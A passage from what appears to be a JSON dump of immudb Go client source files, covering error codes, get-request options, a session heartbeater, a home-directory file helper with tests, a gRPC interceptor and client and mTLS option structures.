error)\n\tDeleteTokenF    func() error\n}\n\nfunc (ts TokenServiceMock) GetToken() (string, error) {\n\treturn ts.GetTokenF()\n}\n\nfunc (ts TokenServiceMock) SetToken(database string, token string) error {\n\treturn ts.SetTokenF(database, token)\n}\n\nfunc (ts TokenServiceMock) DeleteToken() error {\n\treturn ts.DeleteTokenF()\n}\n\nfunc (ts TokenServiceMock) IsTokenPresent() (bool, error) {\n\treturn ts.IsTokenPresentF()\n}\n\nfunc (ts TokenServiceMock) GetDatabase() (string, error) {\n\treturn \"\", nil\n}\n\nfunc (ts TokenServiceMock) WithHds(hds homedir.HomedirService) tokenservice.TokenService {\n\treturn ts\n}\n\nfunc (ts TokenServiceMock) WithTokenFileName(tfn string) tokenservice.TokenService {\n\treturn ts\n}\n\n// DefaultHomedirServiceMock ...\nfunc DefaultTokenServiceMock() *TokenServiceMock {\n\treturn &TokenServiceMock{\n\t\tGetTokenF: func() (string, error) {\n\t\t\treturn \"\", nil\n\t\t},\n\t\tSetTokenF: func(database string, token string) error {\n\t\t\treturn nil\n\t\t},\n\t\tIsTokenPresentF: func() (bool, error) {\n\t\t\treturn true, nil\n\t\t},\n\t\tDeleteTokenF: func() error {\n\t\t\treturn nil\n\t\t},\n\t}\n}\n"
  },
  {
    "path": "pkg/client/errors/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage errors\n\nimport (\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"google.golang.org/grpc/status\"\n)\n\n// ImmuError SDK immudb error interface.\n// _, err = client.StreamSet(ctx, kvs)\n// code := err.(errors.ImmuError).Code()) //errors.CodDataException\ntype ImmuError interface {\n\t//Error return the message.\n\tError() string\n\t//Cause is the inner error cause.\n\tCause() string\n\t//Stack is present if immudb is running with LEVEL_INFO=debug\n\tStack() string\n\t//Code is the immudb error code\n\tCode() Code\n\t//RetryDelay if present the error is retryable after N milliseconds\n\tRetryDelay() int32\n}\n\nfunc New(message string) *immuError {\n\treturn &immuError{\n\t\tmsg:  message,\n\t\tcode: CodInternalError,\n\t}\n}\n\ntype immuError struct {\n\tcause      string\n\tcode       Code\n\tmsg        string\n\tretryDelay int32\n\tstack      string\n}\n\nfunc FromError(err error) ImmuError {\n\tif err == nil {\n\t\treturn nil\n\t}\n\n\tif immuErr, ok := err.(ImmuError); ok {\n\t\t// Already an ImmuError instance\n\t\treturn immuErr\n\t}\n\n\tst, ok := status.FromError(err)\n\tif ok {\n\t\tie := New(st.Message())\n\t\tfor _, det := range st.Details() {\n\t\t\tswitch ele := det.(type) {\n\t\t\tcase *schema.ErrorInfo:\n\t\t\t\tie.WithCode(Code(ele.Code)).WithCause(ele.Cause)\n\t\t\tcase *schema.DebugInfo:\n\t\t\t\tie.WithStack(ele.Stack)\n\t\t\tcase *schema.RetryInfo:\n\t\t\t\tie.WithRetryDelay(ele.RetryDelay)\n\t\t\t}\n\t\t}\n\t\treturn ie\n\t}\n\treturn New(err.Error())\n}\n\nfunc (f *immuError) Error() string {\n\treturn f.msg\n}\n\nfunc (f *immuError) Cause() string {\n\treturn f.cause\n}\n\nfunc (f *immuError) Stack() string {\n\treturn f.stack\n}\n\nfunc (f *immuError) Code() Code {\n\treturn f.code\n}\n\nfunc (f *immuError) RetryDelay() int32 {\n\treturn f.retryDelay\n}\n\nfunc (e *immuError) WithMessage(message string) *immuError {\n\te.msg = message\n\treturn e\n}\n\nfunc (e *immuError) WithCause(cause string) *immuError {\n\te.cause = cause\n\treturn e\n}\n\nfunc (e *immuError) WithCode(code Code) *immuError {\n\te.code = code\n\treturn e\n}\n\nfunc (e *immuError) WithStack(stack string) *immuError {\n\te.stack = stack\n\treturn e\n}\n\nfunc (e *immuError) WithRetryDelay(retry int32) *immuError {\n\te.retryDelay = retry\n\treturn e\n}\n\nfunc (e *immuError) Is(target error) bool {\n\tif target == nil {\n\t\treturn false\n\t}\n\tt, ok := target.(ImmuError)\n\tif !ok {\n\t\treturn e.Error() == target.Error()\n\t}\n\treturn compare(e, t)\n}\n\nfunc compare(e ImmuError, t ImmuError) bool {\n\tif e.Code() != CodInternalError || t.Code() != CodInternalError {\n\t\treturn e.Code() == t.Code()\n\t}\n\treturn e.Cause() == t.Cause() && e.Error() == t.Error()\n}\n"
  },
  {
    "path": "pkg/client/errors/meta.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage errors\n\ntype Code string\n\nconst (\n\tCodSuccessCompletion                             Code = \"00000\"\n\tCodInternalError                                 Code = \"XX000\"\n\tCodSqlclientUnableToEstablishSqlConnection       Code = \"08001\"\n\tCodSqlserverRejectedEstablishmentOfSqlconnection Code = \"08004\"\n\tCodProtocolViolation                             Code = \"08P01\"\n\tCodDataException                                 Code = \"22000\"\n\tCodInvalidParameterValue                         Code = \"22023\"\n\tCodUndefinedFunction                             Code = \"42883\"\n\tCodInvalidDatabaseName                           Code = \"3F000\"\n\tCodInvalidAuthorizationSpecification             Code = \"28000\"\n\tCodSqlserverRejectedEstablishmentOfSqlSession    Code = \"08001\"\n\tCodInvalidTransactionInitiation                  Code = \"0B000\"\n\tCodInFailedSqlTransaction                        Code = \"25P02\"\n\tCodIntegrityConstraintViolation                  Code = \"23000\"\n\n\t// Backwards compatibility\n\tCodNoSessionAuthDataProvided Code = CodInvalidAuthorizationSpecification\n)\n"
  },
  {
    "path": "pkg/client/errors.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"github.com/codenotary/immudb/pkg/client/errors\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\n// Errors related to Client connection and health check\nvar (\n\n\t// ErrIllegalArguments indicates illegal arguments provided to a method\n\tErrIllegalArguments = errors.New(\"illegal arguments\")\n\n\t// ErrAlreadyConnected is used when trying to establish a new connection with a client that is already connected\n\tErrAlreadyConnected = errors.New(\"already connected\")\n\n\t// ErrNotConnected is used when the operation can not be done because the client connection is closed\n\tErrNotConnected = errors.New(\"not connected\")\n\n\t// ErrHealthCheckFailed is used to indicate that health check has failed\n\tErrHealthCheckFailed = errors.New(\"health check failed\")\n\n\t// ErrServerStateIsOlder is used to inform that the client has newer state than the server.\n\t// This could happen if the client connects to an asynchronous replica that did not yet\n\t// replicate all transactions from the primary database.\n\tErrServerStateIsOlder = errors.New(\"server state is older than the client one\")\n\n\t// ErrSessionAlreadyOpen is used when trying to create a new session but there's a valid session already set up.\n\tErrSessionAlreadyOpen = errors.New(\"session already opened\")\n)\n\n// Server errors mapping\nvar (\n\tErrSrvIllegalArguments   = status.Error(codes.InvalidArgument, \"illegal arguments\")\n\tErrSrvIllegalState       = status.Error(codes.InvalidArgument, \"illegal state\")\n\tErrSrvEmptyAdminPassword = status.Error(codes.InvalidArgument, \"Admin password cannot be empty\")\n\tErrWriteOnlyTXNotAllowed = status.Error(codes.InvalidArgument, \"write only transaction not allowed\")\n)\n"
  },
  {
    "path": "pkg/client/get_options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n)\n\n// GetOption is used to set additional options when reading a value with a Get call\ntype GetOption func(req *schema.KeyRequest) error\n\n// NoWait option set to true means that the server should not wait for the indexer\n// to be up-to-date with the most recent transaction.\n//\n// In practice this means that the user will get the result instantly without the\n// risk of the server wait for the indexer that may happen in case of a large spike\n// of new transactions.\n//\n// The disadvantage of using this option is that the server can reply with an older\n// value for the same key or with a key not found result even though already committed\n// transactions contain newer updates to that key.\nfunc NoWait(nowait bool) GetOption {\n\treturn func(req *schema.KeyRequest) error {\n\t\treq.NoWait = nowait\n\t\treturn nil\n\t}\n}\n\n// SinceTx option can be used to avoid waiting for the indexer to be up-to-date\n// with the most recent transaction. The client requires though that at least\n// the transaction with id given in the tx parameter must be indexed.\n//\n// This option can be used to avoid additional latency while the server waits\n// for the indexer to finish indexing but still guarantees that specific portion\n// of the database history has already been indexed.\nfunc SinceTx(tx uint64) GetOption {\n\treturn func(req *schema.KeyRequest) error {\n\t\treq.SinceTx = tx\n\t\treturn nil\n\t}\n}\n\n// AtTx option is used to specify that the value read must be the one set\n// at transaction with id given in the tx parameter.\n//\n// If the key was not modified at given transaction, the request will\n// return key not found result even if the key was changed before that transaction.\n//\n// Using AtTx also allows reading entries set with disabled indexing.\nfunc AtTx(tx uint64) GetOption {\n\treturn func(req *schema.KeyRequest) error {\n\t\treq.AtTx = tx\n\t\treturn nil\n\t}\n}\n\n// AtRevision request specific revision for given key.\n//\n// Key revision is an integer value that starts at 1 when\n// the key is created and then increased by 1 on every update\n// made to that key.\n//\n// The way rev is interpreted depends on the value:\n//   - if rev = 0, returns current value\n//   - if rev > 0, returns nth revision value,\n//     e.g. 1 is the first value, 2 is the second and so on\n//   - if rev < 0, returns nth revision value from the end,\n//     e.g. -1 is the previous value, -2 is the one before and so on\nfunc AtRevision(rev int64) GetOption {\n\treturn func(req *schema.KeyRequest) error {\n\t\treq.AtRevision = rev\n\t\treturn nil\n\t}\n}\n"
  },
  {
    "path": "pkg/client/get_options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestGetOptionsAtTx(t *testing.T) {\n\treq := &schema.KeyRequest{Key: []byte(\"key\")}\n\terr := client.AtTx(100)(req)\n\trequire.NoError(t, err)\n\trequire.Equal(t, &schema.KeyRequest{\n\t\tKey:  []byte(\"key\"),\n\t\tAtTx: 100,\n\t}, req)\n}\n\nfunc TestGetOptionsSinceTx(t *testing.T) {\n\treq := &schema.KeyRequest{Key: []byte(\"key\")}\n\terr := client.SinceTx(101)(req)\n\trequire.NoError(t, err)\n\trequire.Equal(t, &schema.KeyRequest{\n\t\tKey:     []byte(\"key\"),\n\t\tSinceTx: 101,\n\t}, req)\n}\n\nfunc TestGetOptionsNoWait(t *testing.T) {\n\treq := &schema.KeyRequest{Key: []byte(\"key\")}\n\terr := client.NoWait(true)(req)\n\trequire.NoError(t, err)\n\trequire.Equal(t, &schema.KeyRequest{\n\t\tKey:    []byte(\"key\"),\n\t\tNoWait: true,\n\t}, req)\n}\n\nfunc TestGetOptionsAtRevision(t *testing.T) {\n\treq := &schema.KeyRequest{Key: []byte(\"key\")}\n\terr := client.AtRevision(102)(req)\n\trequire.NoError(t, err)\n\trequire.Equal(t, &schema.KeyRequest{\n\t\tKey:        []byte(\"key\"),\n\t\tAtRevision: 102,\n\t}, req)\n}\n"
  },
  {
    "path": "pkg/client/heartbeater.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"context\"\n\tstdos \"os\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n)\n\ntype heartBeater struct {\n\tsessionID     string\n\tlogger        logger.Logger\n\tserviceClient schema.ImmuServiceClient\n\tdone          chan struct{}\n\tt             *time.Ticker\n\terrorHandler  ErrorHandler\n}\n\ntype HeartBeater interface {\n\tKeepAlive(ctx context.Context)\n\tStop()\n}\n\nfunc NewHeartBeater(sessionID string, sc schema.ImmuServiceClient, keepAliveInterval time.Duration, errhandler ErrorHandler, l logger.Logger) *heartBeater {\n\tif l == nil {\n\t\tl = logger.NewSimpleLogger(\"immuclient\", stdos.Stdout)\n\t}\n\n\treturn &heartBeater{\n\t\tsessionID:     sessionID,\n\t\tlogger:        l,\n\t\tserviceClient: sc,\n\t\tdone:          make(chan struct{}),\n\t\tt:             time.NewTicker(keepAliveInterval),\n\t\terrorHandler:  errhandler,\n\t}\n}\n\nfunc (hb *heartBeater) KeepAlive(ctx context.Context) {\n\tgo func() {\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase <-hb.done:\n\t\t\t\treturn\n\t\t\tcase t := <-hb.t.C:\n\t\t\t\thb.logger.Debugf(\"keep alive for %s at %s\\n\", hb.sessionID, t.String())\n\n\t\t\t\terr := hb.keepAliveRequest(ctx)\n\t\t\t\tif err != nil {\n\t\t\t\t\thb.logger.Errorf(\"an error occurred on keep alive %s at %s: %v\\n\", hb.sessionID, t.String(), err)\n\t\t\t\t\tif hb.errorHandler != nil {\n\t\t\t\t\t\thb.errorHandler(hb.sessionID, err)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n}\n\nfunc (hb *heartBeater) Stop() {\n\thb.t.Stop()\n\tclose(hb.done)\n}\n\nfunc (hb *heartBeater) keepAliveRequest(ctx context.Context) error {\n\tc, cancel := context.WithTimeout(ctx, time.Second*3)\n\tdefer cancel()\n\n\t_, err := hb.serviceClient.KeepAlive(c, new(empty.Empty))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn err\n}\n"
  },
  {
    "path": "pkg/client/homedir/homedir.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage homedir\n\nimport (\n\t\"io/ioutil\"\n\t\"os\"\n\t\"os/user\"\n\t\"path/filepath\"\n\t\"strings\"\n)\n\ntype HomedirService interface {\n\tWriteFileToUserHomeDir(content []byte, pathToFile string) error\n\tFileExistsInUserHomeDir(pathToFile string) (bool, error)\n\tReadFileFromUserHomeDir(pathToFile string) (string, error)\n\tDeleteFileFromUserHomeDir(pathToFile string) error\n}\n\ntype homedirService struct{}\n\nfunc NewHomedirService() *homedirService {\n\treturn &homedirService{}\n}\n\n// WriteFileToUserHomeDir writes the provided content to the specified file path\n// or to user home dir if just a filename is provided\nfunc (h *homedirService) WriteFileToUserHomeDir(content []byte, pathToFile string) error {\n\tp := pathToFile\n\tif !strings.Contains(pathToFile, \"/\") && !strings.Contains(pathToFile, \"\\\\\") {\n\t\tuser, err := user.Current()\n\t\tif err == nil {\n\t\t\tp = filepath.Join(user.HomeDir, p)\n\t\t\tif err := ioutil.WriteFile(p, content, 0644); err == nil {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\treturn ioutil.WriteFile(p, content, 0644)\n}\n\n// FileExistsInUserHomeDir checks if the file at the provided path exists or, in\n// case just a filename is provided, it looks for it in the user home dir\nfunc (h *homedirService) FileExistsInUserHomeDir(pathToFile string) (bool, error) {\n\tif !strings.Contains(pathToFile, \"/\") && !strings.Contains(pathToFile, \"\\\\\") {\n\t\tuser, err := user.Current()\n\t\tif err == nil {\n\t\t\tp := filepath.Join(user.HomeDir, pathToFile)\n\t\t\tif _, err := os.Stat(p); err == nil {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t}\n\t}\n\tif _, err := os.Stat(pathToFile); err != nil {\n\t\tif os.IsNotExist(err) {\n\t\t\treturn false, nil\n\t\t}\n\t\treturn false, err\n\t}\n\treturn true, nil\n}\n\n// ReadFileFromUserHomeDir reads the contents at the specified filepath; if just\n// a filename is specified, it looks for it in the user home dir\nfunc (h *homedirService) ReadFileFromUserHomeDir(pathToFile string) (string, error) {\n\tif !strings.Contains(pathToFile, \"/\") && !strings.Contains(pathToFile, \"\\\\\") {\n\t\tuser, err := user.Current()\n\t\tif err == nil {\n\t\t\tp := filepath.Join(user.HomeDir, pathToFile)\n\t\t\tif _, err := os.Stat(p); err == nil {\n\t\t\t\tcontentBytes, err := ioutil.ReadFile(p)\n\t\t\t\tif err == nil {\n\t\t\t\t\treturn string(contentBytes), nil\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tcontentBytes, err := ioutil.ReadFile(pathToFile)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(contentBytes), nil\n}\n\n// DeleteFileFromUserHomeDir deletes the file at the provided path or from user\n// home dir if just a filename is provided\nfunc (h *homedirService) DeleteFileFromUserHomeDir(pathToFile string) error {\n\tif !strings.Contains(pathToFile, \"/\") && !strings.Contains(pathToFile, \"\\\\\") {\n\t\tuser, err := user.Current()\n\t\tif err == nil {\n\t\t\tp := filepath.Join(user.HomeDir, pathToFile)\n\t\t\treturn os.Remove(p)\n\t\t} else {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn os.Remove(pathToFile)\n}\n"
  },
  {
    "path": "pkg/client/homedir/homedir_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage homedir\n\nimport (\n\t\"os\"\n\t\"os/user\"\n\t\"path/filepath\"\n\t\"syscall\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestWriteFileToUserHomeDir(t *testing.T) {\n\thds := NewHomedirService()\n\tcontent := []byte(`t`)\n\tpathToFile := \"testfile\"\n\tuser, _ := user.Current()\n\terr := hds.WriteFileToUserHomeDir(content, pathToFile)\n\trequire.FileExists(t, filepath.Join(user.HomeDir, pathToFile))\n\trequire.NoError(t, err)\n\tos.RemoveAll(filepath.Join(user.HomeDir, pathToFile))\n}\n\nfunc TestFileExistsInUserHomeDir(t *testing.T) {\n\thds := NewHomedirService()\n\tcontent := []byte(`t`)\n\tpathToFile := \"testfile\"\n\n\tuser, _ := user.Current()\n\texists, err := hds.FileExistsInUserHomeDir(filepath.Join(user.HomeDir, pathToFile))\n\trequire.False(t, exists)\n\trequire.NoError(t, err)\n\terr = hds.WriteFileToUserHomeDir(content, pathToFile)\n\trequire.NoError(t, err)\n\texists, err = hds.FileExistsInUserHomeDir(pathToFile)\n\trequire.True(t, exists)\n\trequire.NoError(t, err)\n\tos.RemoveAll(filepath.Join(user.HomeDir, pathToFile))\n}\n\nfunc TestReadFileFromUserHomeDir(t *testing.T) {\n\thds := NewHomedirService()\n\tcontent := []byte(`t`)\n\tpathToFile := \"testfile\"\n\tuser, _ := user.Current()\n\n\t_, err := hds.ReadFileFromUserHomeDir(pathToFile)\n\trequire.ErrorIs(t, err, os.ErrNotExist)\n\n\terr = hds.WriteFileToUserHomeDir(content, pathToFile)\n\trequire.NoError(t, err)\n\tdefer os.RemoveAll(filepath.Join(user.HomeDir, pathToFile))\n\n\tstrcontent, err := hds.ReadFileFromUserHomeDir(pathToFile)\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, strcontent)\n}\n\nfunc TestDeleteFileFromUserHomeDir(t *testing.T) {\n\thds := NewHomedirService()\n\tcontent := []byte(`t`)\n\n\tpathToFile := \"testfile\"\n\tuser, _ := user.Current()\n\terr := hds.DeleteFileFromUserHomeDir(pathToFile)\n\trequire.ErrorIs(t, err, os.ErrNotExist)\n\n\terr = hds.WriteFileToUserHomeDir(content, pathToFile)\n\trequire.NoError(t, err)\n\tdefer os.RemoveAll(filepath.Join(user.HomeDir, pathToFile))\n\n\terr = hds.DeleteFileFromUserHomeDir(pathToFile)\n\trequire.NoError(t, err)\n\trequire.NoFileExists(t, filepath.Join(user.HomeDir, pathToFile))\n}\n\nfunc TestWriteDirFileToUserHomeDir(t *testing.T) {\n\thds := NewHomedirService()\n\tcontent := []byte(`t`)\n\tpathToFile := filepath.Join(t.TempDir(), \"testfile\")\n\n\terr := hds.WriteFileToUserHomeDir(content, pathToFile)\n\trequire.NoError(t, err)\n\trequire.FileExists(t, pathToFile)\n}\n\nfunc TestDirFileExistsInUserHomeDir(t *testing.T) {\n\thds := NewHomedirService()\n\tcontent := []byte(`t`)\n\tpathToFile := filepath.Join(t.TempDir(), \"testfile\")\n\n\texists, err := hds.FileExistsInUserHomeDir(pathToFile)\n\trequire.NoError(t, err)\n\trequire.False(t, exists)\n\n\terr = hds.WriteFileToUserHomeDir(content, pathToFile)\n\trequire.NoError(t, err)\n\n\texists, err = hds.FileExistsInUserHomeDir(pathToFile)\n\trequire.NoError(t, err)\n\trequire.True(t, exists)\n}\n\nfunc TestDirFileFileFromUserHomeDir(t *testing.T) {\n\thds := NewHomedirService()\n\tcontent := []byte(`t`)\n\tpathToFile := filepath.Join(t.TempDir(), \"testfile\")\n\n\t_, err := hds.ReadFileFromUserHomeDir(pathToFile)\n\trequire.ErrorIs(t, err, syscall.ENOENT)\n\n\terr = hds.WriteFileToUserHomeDir(content, pathToFile)\n\trequire.NoError(t, err)\n\n\tstrcontent, err := hds.ReadFileFromUserHomeDir(pathToFile)\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, strcontent)\n}\n\nfunc TestDeleteDirFileFromUserHomeDir(t *testing.T) {\n\thds := NewHomedirService()\n\tcontent := []byte(`t`)\n\tpathToFile := filepath.Join(t.TempDir(), \"testfile\")\n\n\terr := hds.DeleteFileFromUserHomeDir(pathToFile)\n\trequire.ErrorIs(t, err, syscall.ENOENT)\n\n\terr = hds.WriteFileToUserHomeDir(content, pathToFile)\n\trequire.NoError(t, err)\n\n\terr = hds.DeleteFileFromUserHomeDir(pathToFile)\n\trequire.NoError(t, err)\n\trequire.NoFileExists(t, pathToFile)\n}\n"
  },
  {
    "path": "pkg/client/illegal_state_handler_interceptor.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"strings\"\n\n\t\"google.golang.org/grpc\"\n)\n\n// IllegalStateHandlerInterceptor improve UX on SDK adding more context when immudb returns an illegal state error message on Verifiable* methods\nfunc (c *immuClient) IllegalStateHandlerInterceptor(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error {\n\terr := invoker(ctx, method, req, reply, cc, opts...)\n\tif err != nil && strings.Contains(method, \"Verifiable\") {\n\t\tif errors.Is(err, ErrSrvIllegalState) {\n\t\t\tserverState, err := c.CurrentState(ctx)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tlocalState, err := c.StateService.GetState(ctx, serverState.Db)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif localState.TxId > serverState.TxId {\n\t\t\t\treturn ErrServerStateIsOlder\n\t\t\t}\n\t\t}\n\t}\n\treturn err\n}\n"
  },
  {
    "path": "pkg/client/mtls_options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\n// MTLsOptions mTLS options\ntype MTLsOptions struct {\n\tServername  string\n\tPkey        string\n\tCertificate string\n\tClientCAs   string\n}\n\n// DefaultMTLsOptions returns the default mTLS options\nfunc DefaultMTLsOptions() MTLsOptions {\n\treturn MTLsOptions{\n\t\tServername:  \"localhost\",\n\t\tPkey:        \"./tools/mtls/4_client/private/localhost.key.pem\",\n\t\tCertificate: \"./tools/mtls/4_client/certs/localhost.cert.pem\",\n\t\tClientCAs:   \"./tools/mtls/2_intermediate/certs/ca-chain.cert.pem\",\n\t}\n}\n\n// WithServername sets the server name\nfunc (o MTLsOptions) WithServername(servername string) MTLsOptions {\n\to.Servername = servername\n\treturn o\n}\n\n// WithPkey sets the client private key\nfunc (o MTLsOptions) WithPkey(pkey string) MTLsOptions {\n\to.Pkey = pkey\n\treturn o\n}\n\n// WithCertificate sets the client certificate\nfunc (o MTLsOptions) WithCertificate(certificate string) MTLsOptions {\n\to.Certificate = certificate\n\treturn o\n}\n\n// WithClientCAs sets a list of CA certificates\nfunc (o MTLsOptions) WithClientCAs(clientCAs string) MTLsOptions {\n\to.ClientCAs = clientCAs\n\treturn o\n}\n"
  },
  {
    "path": "pkg/client/options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"encoding/json\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/credentials/insecure\"\n)\n\n// AdminTokenFileSuffix is the suffix used for the token file name\nconst AdminTokenFileSuffix = \"_admin\"\n\n// Options client options\ntype Options struct {\n\tDir                string\n\tAddress            string            // Database hostname / ip address\n\tPort               int               // Database port number\n\tHealthCheckRetries int               // Deprecated: no longer used\n\tMTLs               bool              // If set to true, client should use MTLS for authentication\n\tMTLsOptions        MTLsOptions       // MTLS settings if used\n\tAuth               bool              // Set to false if client does not use authentication\n\tMaxRecvMsgSize     int               // Maximum size of received GRPC message\n\tDialOptions        []grpc.DialOption // Additional GRPC dial options\n\tConfig             string            // Filename with additional configuration in toml format\n\tTokenFileName      string            // Deprecated: not used for session-based authentication, name of the file with client token\n\tCurrentDatabase    string            // Name of the current database\n\n\t//--> used by immuclient CLI and sql stdlib package\n\tPasswordReader c.PasswordReader // Password reader used by the immuclient CLI (TODO: Do not store in immuclient options)\n\tUsername       string           // Currently used username, used by immuclient CLI and go SQL stdlib (TODO: Do not store in immuclient options)\n\tPassword       string           // Currently used password, used by immuclient CLI and go SQL stdlib (TODO: Do not store in immuclient options)\n\tDatabase       string           // Currently used database name, used by immuclient CLI and go SQL stdlib (TODO: Do not store in immuclient options)\n\t//<--\n\n\tMetrics             bool   // Set to true if we should expose metrics, used by immuclient in auditor mode (TODO: Do not store in immuclient options)\n\tPidPath             string // Path of the PID file, used by immuclient in auditor mode (TODO: Do not store in immuclient options)\n\tLogFileName         string // Name of the log file to use, used by immuclient in auditor mode (TODO: Do not store in immuclient options)\n\tServerSigningPubKey string // Name of the file containing public key for server signature validations\n\tStreamChunkSize     int    // Maximum size of a 